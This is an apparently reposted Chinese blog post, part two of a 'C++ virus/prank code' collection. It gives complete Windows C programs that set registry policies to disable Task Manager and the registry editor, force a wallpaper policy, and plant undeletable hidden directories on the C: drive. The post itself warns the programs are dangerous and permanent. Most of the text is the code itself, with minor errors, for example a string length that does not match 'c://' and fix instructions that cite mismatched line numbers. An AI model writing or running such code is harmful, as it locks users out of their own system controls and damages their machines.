注:以下代码应勿用于非法(Dev-c++5.11实测可用)
警告:以下为危险/永久性程序,请慎重使用
8.
效果:禁用任务管理器
提示:可能被杀毒软件拦截
#include <stdio.h>
#include <windows.h>
int main()
{
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
return 0;
}
9.
效果:禁用注册表
提示:可能被杀毒软件拦截
#include <stdio.h>
#include <windows.h>
int main()
{
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
return 0;
}
10.
效果:桌面壁纸
#include <stdio.h>
#include <windows.h>
int main()
{
DWORD value = 1;
HKEY hkey;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
return 0;
}
11.
效果:不可删除文件文章来源:https://www.toymoban.com/news/detail-649828.html
解决方法:将51-52行换成52行文章来源地址https://www.toymoban.com/news/detail-649828.html
#include <stdio.h>
#include <shlobj.h>
#include <windows.h>
// 添加不可删除文件
BOOL SetImmunity(char *FilePath,char *FileName)
{
char file[2048] = { 0 };
strncpy(file, FilePath, strlen(FilePath));
strcat(file, FileName);
BOOL bRet = CreateDirectory(file, NULL);
if (bRet)
{
strcat(file, "\\anti...\\");
bRet = CreateDirectory(file, NULL);
if (bRet)
{
SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
return TRUE;
}
}
return FALSE;
}
void ClearImmunity(char *FilePath, char *FileName)
{
char file[2048] = { 0 };
strncpy(file, FilePath, strlen(FilePath));
strcat(file, FileName);
strcat(file, "\\anti...\\");
RemoveDirectory(file);
ZeroMemory(file, MAX_PATH);
strncpy(file, FilePath, strlen(FilePath));
strcat(file, FileName);
RemoveDirectory(file);
}
int main(int argc, char * argv[])
{
char *Fuck[4] = { "你", "好", "世", "界" };
int FuckLen = sizeof(Fuck) / sizeof(int);
TCHAR Destop[MAX_PATH];
SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);
for (int x = 0; x < FuckLen; x++)
{
SetImmunity("c://", Fuck[x]);
//ClearImmunity("c://", Fuck[x]);
}
system("pause");
return 0;
}
到了这里,关于c++病毒/恶搞代码大全( 下 )的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!